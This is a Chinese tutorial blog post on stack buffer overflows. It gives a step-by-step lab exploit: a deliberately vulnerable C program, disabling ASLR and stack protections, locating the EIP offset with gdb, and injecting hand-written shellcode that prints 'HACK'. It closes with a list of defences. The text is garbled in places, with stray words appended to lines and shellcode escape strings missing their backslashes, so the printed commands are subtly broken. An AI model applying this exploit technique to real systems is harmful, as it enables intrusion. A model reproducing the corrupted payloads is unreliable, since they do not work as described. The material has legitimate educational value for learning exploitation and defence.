淺析緩衝區溢出

最近一直在學習緩衝區溢出漏洞的攻擊,可是關於這一塊的內容仍是須要不少相關知識的基礎,例如編程語言及反彙編工具使用。因此研究透徹還須要很多的時間,這裏簡單的作一個學習的總結,經過具體的實驗案例對緩衝區溢出進行簡要的解析。
彙編語言及編程語言是基礎,其次是對反編譯工具的使用:好比gdb、IDA pro、objdump等。彙編語言的學習能夠看王爽編寫的《彙編語言》,很適合初學者學習的一本書。(對於初學者來講,必要的知識屏蔽是很重要的,這本書就是按這個思想編寫,因此看這本書的感受就很是流暢。)linux

緩衝區溢出是一種常見的攻擊手段,緣由在於緩衝區漏洞很是廣泛,而且易於實現。緩衝區溢出漏洞佔了遠程網絡攻擊的絕大多數,成爲遠程攻擊的主要手段。在CTF比賽中這一類的題目也是很是熱門(pwn題)。利用緩衝區溢出攻擊能夠致使程序運行失敗、系統崩潰等後果。更爲嚴重的是,能夠利用它執行非受權指令,甚至能夠取得系統特權,進而進行各類非法操做。web

緩衝區溢出及其原理shell

關於緩衝區溢出的原理網上也不少,這裏用一個我以爲不錯的實驗示例進行講解。
先來看如下這個例子:
(注意:此處編譯環境爲CentOS 5.0 (32bit),其餘版本的linux可能須要修改8,9行代碼)
首先用C語言編寫一個程序,以下所示,保存爲buffer.c文件。編程

1.    # include<unistd.h>  
2.    # include<stdlib.h>  
3.    # include<stdio.h>  
4.    # include<string.h>  
5.      
6.    void function(int a,int b,int c){  
7.            char buffer[8];  //聲明一個類型爲char的數組
8.            int *ret;    
9.            ret=(int*)(buffer+16);  
10.           (*ret)+=7;  
11.    }  
12.      
13.    int main(){  
14.       int x;  
15.       x=99999;  
16.       function(1,2,3);  
17.       x=1;  
18.       printf("%d\n",x);  
19.       return 0; 
20.    }  

編譯源程序ubuntu

如圖1所示,執行#gcc buffer.c –o buffer.o命令,編譯源程序。(有些高版本的linux能夠加-fno-stack-protector -z execstack參數關閉保護措施 )數組

圖片描述

執行程序
如圖1所示,執行./buffer.o命令,輸出結果99999.經過分析主函數的流程,應該輸出1,但是輸出的爲99999。緣由在於function()函數。
緣由分析
下面對buffer.o程序在內存中的分步狀況及執行流程進行分析。
一個程序在內存中一般分爲程序段、數據段和堆棧。
(1) 程序段:存放程序的機器碼和只讀數據
(2) 數據段:存放程序中的靜態數據和全局變量
(3) 堆棧:存放動態數據及局部變量
在內存中,它們的位置如圖2所示
圖片描述安全

堆棧是一塊保存數據的連續內存,一個名爲堆棧指針(SP)的寄存器標識出了棧頂的位置,堆棧的底部在一個固定的地址。(上圖)圖2簡化了一下如圖3(下圖)所示,棧的增加是由低地址位向高地址位,而堆的增加恰好相反。
圖片描述bash

理論上說,局部變量能夠用SP加偏移量來引用。堆棧由邏輯堆棧幀組成,一個函數對應一個堆棧幀。
當調用函數時,邏輯堆棧幀被壓入棧中,堆棧幀包括函數的參數、返回地址、EBP(EBP是當前函數的存取指針,即存儲或者讀取數時的指針基地址,能夠當作一個標準的函數起始代碼)和局部變量(若是函數有局部變量)。程序執行結束後,局部變量的內容將會消失,可是不會被清除。
當函數返回時,邏輯堆棧幀從棧中被彈出,而後彈出EBP,恢復堆棧到調用函數時的地址,最後彈出返回地址到EIP(寄存器存放下一個CPU指令存放的內存地址,當CPU執行完當前的指令後,從EIP寄存器中讀取下一條指令的內存地址,而後繼續執行。),從而繼續運行程序。
(如過想多瞭解一些關於寄存器的知識,能夠閱讀這篇文章:
https://blog.csdn.net/chenlyc...
接下來,咱們來看function(1,2,3)函數,調用函數的過程如圖4所示:
圖片描述服務器

首先把參數壓入棧:在C語言中參數的壓棧順序是反向的,是以從後往前的順序將function的3個參數3,2,1壓入棧中。
而後保存指令寄存器(ip)中的內容做爲返回地址(return2)壓入棧中;第3個放入棧的是基址寄存器EBP(sfp)
接着把當前的棧指針(sp)複製到EBP,做爲新棧幀的基地址(sfp,棧幀指針)。這裏準備進入function函數。
最後把棧指針(sp)減去適當的數值(能夠理解爲指針由高地址位向低地址位滑動),將局部變量(buffer和ret)壓入棧中
執行第9行語句ret=(int)(buffer1+16);後指針ret指向return2所指的存儲單元;執行代碼中第10行語句(ret)+=7;後,調用函數function()後的返回地址(return2所指的存儲單元)指向了第18行,第17行被隔過去了,溢出的數據覆蓋了原來的返回地址,所以,該程序的輸出結果是99999。
這個就是一個簡單的棧溢出的狀況。網絡

緩衝區溢出攻擊例子
接下來,咱們將要思考一段包含了可利用緩衝區溢出的代碼,並據此展現一次攻擊。
在具體地討論緩衝區溢出攻擊以前,能夠先考慮一下此類攻擊可能會爆發的現實場景。假設網站上web表單請用戶輸入數據,如姓名、年齡、出生日期等此類的相關信息。被輸入的信息隨後被傳送到一臺服務器上,而這臺服務器會將「姓名」字段中輸入的數據寫入能夠容納N個字符的緩衝區中。若是服務器軟件沒有去驗證能夠確保輸入的姓名的長度至多爲N個字符的話,就可能會發生一次緩衝區溢出。若是溢出的數據是一段惡意代碼,那麼系統也將可能會去執行,從而受到攻擊。

這裏我使用的系統是ubuntu 18.04 (64bit)。當前硬件已支持數據保護功能,也即棧上注入的指令沒法執行,同時如今的操做系統默認啓用地址隨機化功能,全部很難猜想到EIP注入的地址。這裏就先要把實驗環境配置好(這一步很重要,若是實驗中出現問題,很大可能就是環境配置的關係):
  1. 關閉地址隨機化功能(這裏可能會遇到權限問題,能夠手動修改,把裏面的值改成0便可):
echo 0 > /proc/sys/kernel/randomize_va_space
  1. 此次測試用到的是編譯出32位程序,但如今常見的都是64位系統,能夠先安裝gcc編譯32位程序用到的庫:
sudo apt-get install libc6-dev-i386

1、建立程序
咱們先構建一段代碼開始,命名爲bo.c。(這裏爲了直接展現緩衝區漏洞攻擊方法,就省掉了與網絡相關的部分。)

1.    #include <stdio.h>  
2.    #include <string.h>  
3.      
4.    int f()  
5.    {  
6.        char buf[32];  
7.        FILE *fp;  
8.      
9.        fp = fopen("test.txt", "r");  
10.        if(!fp) {  
11.            perror("fopen");  
12.        }  
13.      
14.        fread(buf, 1024, 1, fp);  
15.        printf("data: %s\n", buf);  
16.        return 0;  
17.    }  
18.      
19.    int main(int argc, char *argv[])  
20.    {  
21.        f();  
22.      
23.        return 0;  
24.    }  

簡要的分析下這段代碼有溢出問題的緣由是:這段程序的做用是輸出文件中的字符,它聲明的buf數組的字符數量爲32,可是拷貝了最多可達1024個字符,所以就能夠把文件的字符若是超過必定的數量,就會形成溢出,並被程序執行這些溢出的字符。

2、編譯程序
編譯源程序,輸入以下命令:
gcc -Wall -g -fno-stack-protector -o bo bo.c -m32 -Wl,-zexecstack

這裏加了幾個參數,它們的功能分別是:
 -fno-stack-protector : 禁用棧溢出檢測功能
 -m32 : 生成32位程序
 -Wl,-zexecstack : 支持棧端可執行
看解釋就知道爲何加這些參數了。
編譯完成以後,咱們簡要的說明下一步該如何利用溢出進行攻擊。思路以下:
使用的也是上一個例子的原理,buf數組溢出後,從文件讀取的內容就會在當前棧幀沿着高地址覆蓋,而該棧幀的頂部存放着返回上一個函數的地址(EIP),只要咱們覆蓋了該地址,就能夠修改程序的執行路徑,使它運行文件中的代碼。這種攻擊通常也叫作返回庫函數攻擊。
所以,咱們須要知道從文件讀取多少個字節才能開始覆蓋EIP。常見的方法有兩種:
一種方法是反編譯程序進行推導,另外一種方法就是進行基本的手工測試。第一種方法一般須要更深刻的彙編知識,且適用於不知道源碼的狀況。這裏咱們已經知道源碼,已經發現了問題所在,因此就選擇後者進行嘗試,肯定一下寫個多少字節才能覆蓋EIP。

3、覆蓋EIP
根據源碼咱們建立text.txt文件並寫入字符進行嘗試,嘗試的方法很簡單,EIP前的空間使用'A'填充,而EIP使用'BBBB'填充,使用兩種不一樣的字母是爲了方便找到邊界。
目前知道buf數組大小爲32個字符,能夠先嚐試填充32個'A'和追加'BBBB',若是程序沒有出現segment fault(段錯誤),則每次增長'A'字符4個,不斷嘗試直到程序運行出現segment fault。(我這裏到48個的時候出現segment fault,32位系統大概在40左右)若是 'BBBB'恰好對準EIP的位置,那麼函數返回時,將EIP內容將給PC指針,由於0x42424242(B的ascii碼爲0x42)是不可訪問地址,因此出現segment fault,此時eip寄存器值就是0x42424242。
這裏能夠手工在文件文件中輸入字符,但畢竟繁瑣,因此可使用perl腳本寫入(以後寫入shellcode也要用到)。
所通過的嘗試以下:
第一次:
$ perl -e 'printf "A"x32 . "B"x4' > test.txt ;
寫入文件中的內容爲:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
再運行程序./bo
圖片描述

結果:已溢出,形成輸出亂碼,但沒有segment fault。
第二次增長4個A字符:
$ perl -e 'printf "A"x36 . "B"x4' > test.txt ; ./bo
圖片描述

結果:這裏也沒有segment fault。
以後的步驟省略,直接到出現segment fault的這一步:
$ perl -e 'printf "A"x48 . "B"x4' > test.txt ; ./bo
圖片描述

結果:產生了segment fault。
接下來就使用調試工具gdb,分析並肯定此時的EIP是否爲0x42424242。
1.在使用gdb前,首先輸入:
ulimit -c unlimited
用這個命令是爲了產生core文件,core就是程序運行發行段錯誤時的文件。
2.接着運再行一下上面的出錯的那條指令
./bo
此時當前目錄下會出現一個core文件
圖片描述

3.以後就是使用gdb分析程序:
$ gdb ./bo core –q
圖片描述

分析core文件,發現eip被寫成'0x424242'(BBBB),能夠肯定注入內容中的'BBBB'對準了棧中存放EIP的位置。 找到EIP位置,咱們就離成功邁進了一大步。值得注意的是:如今的系統有保護機制,因此找準eip的難度會大大增長。不過如今也有出現了更多有效的方法,感興趣的朋友能夠更深刻地進行學習。

4、構造shellcode
經過以前的步驟,咱們能夠控制EIP以後,下一步操做就是往棧裏面注入二進指令,而後修改EIP執行這段代碼。那麼當函數執行完後,就會執行咱們的指令啦。
 一般咱們將注入的這段指令稱爲shellcode,解釋爲這段指令是打開一個shell(bash),而後攻擊者能夠在shell執行任意命令,因此稱爲shellcode。
 這裏咱們不須要寫一段複雜的shellcode去打開shell。爲了能證實成功控制程序,咱們可使它在終端上輸出"HACK"字符串,而後程序退出。 簡便起見, 咱們構造的shellcode就至關於下面兩句C語言的效果:

1.    write(1, "HACK\n", 5);
2.    exit(0);

由於shellcode將會直接操做寄存器和一些系統調用,因此對於shellcode的編寫基本上是用高級語言編寫一段程序而後編譯,反彙編從而獲得16進制的操做碼,固然也能夠直接寫彙編而後從二進制文件中提取出16進制的操做碼。 下面就是32位x86的彙編代碼shell.s:

1.    BITS 32  
2.    start:  
3.    xor eax, eax  
4.    xor ebx, ebx  
5.    xor ecx, ecx  
6.    xor edx, edx  
7.      
8.    mov bl, 1  
9.    add esp, string - start  
10.    mov ecx, esp  
11.    mov dl, 5  
12.    mov al, 4  
13.    int 0x80  
14.      
15.    mov al, 1  
16.    mov bl, 1  
17.    dec bl  
18.    int 0x80  
19.      
20.    string:  
21.    db "HACK", 0xa  

再編譯程序:
nasm -o shell shell.s
以後反編譯:
ndisasm shell1
獲得以下結果:
圖片描述

如今咱們找到了EIP的位置,也有了咱們要執行的shellcode,但這個EIP應該修改成什麼值,才能在函數返回時執行注入的shellcode呢?
咱們能夠這樣想,從棧的基本模型上看(下圖),當函數返回,彈出EBP(棧基址),恢復堆棧到調用函數時的地址,再彈出返回地址到EIP,ESP寄存器的值(棧指針)向上移動,指向咱們的shellcode。所以,咱們使用上面的注入內容生成core時,ESP寄存器的值就是shellcode的開始地址,也就是EIP應該注入的值。
圖片描述

5、注入shellcode
咱們知道要成功執行shellcode就要使EIP的值爲shellcode開始的地址。那如何找到shellcode開始的地址呢?咱們先嚐試着把構造好的shellcode文本給程序執行,使它生成新的core。(這裏要先刪掉以前的core文件)
$ perl -e 'printf "A"x48 . "B"x4 . "x31xc0x31xdbx31xc9x31xd2xb3x01x83xc4x1dx89xe1xb2x05xb0x04xcdx80xb0x01xb3x01xfexcbxcdx80x48x41x43x4bx0a"' > test.txt ;./bo
圖片描述

再執行gdb ./bo core –q
圖片描述

上面咱們知道,ESP的值就是shellcode開始的地址,ESP如今值爲0xffffcf70,全部EIP注入值就是該值,(這一步必定要關閉地址隨機化功能)。因爲X86是小端的字節序,因此注入字節串須要改成"x70xcfxffxff"
而後將EIP原來的注入值'BBBB'變成"x70xcfxffxff",使eip指向的地址爲shellcode開始運行的地址便可。再次測試:
$ perl -e 'printf "A"x48 . "x70xcfxffxff" . "x31xc0x31xdbx31xc9x31xd2xb3x01x83xc4x1dx89xe1xb2x05xb0x04xcdx80xb0x01xb3x01xfexcbxcdx80x48x41x43x4bx0a"'> test.txt ;./bo
圖片描述

 結果:程序輸出HACK字符串了,說明咱們成功控制了EIP,並執行了shellcode。
若是這段shellcode構造的再複雜一些,咱們就能作更多的事。
這也是算是最簡單的緩衝區溢出漏洞攻擊的例子了,所講的技術也有點過期,對於如今的系統來說,已經不大可能管用了。但無論怎麼樣,對於初步的學習仍是很助於理解的。一切的學習能夠從這個簡單的例子出發,一步步的進行更深刻下去。而後在其中發現更多的精彩。

緩衝區溢出攻擊的防範措施
瞭解攻擊原理是爲了能更好的進行防護,最後簡要的說明一下如何防範這類攻擊的發生。
(1)關閉不須要的特權程序。
(2)及時給系統和服務程序漏洞打補丁。
(3)強制寫正確的代碼。
(4)經過操做系統使得緩衝區不可執行,從而阻止攻擊者植入攻擊代碼。
(5)利用編譯器的邊界檢查來實現緩衝區的保護,這個方法使得緩衝區溢出不可能出現,從而徹底消除了緩衝區溢出的威脅,可是代價比較大。
(6)在程序指針失效前進行完整性檢查。
(7)改進系統內部安全機制。

參考文章:https://blog.csdn.net/linyt/a...

相關文章
相關標籤/搜索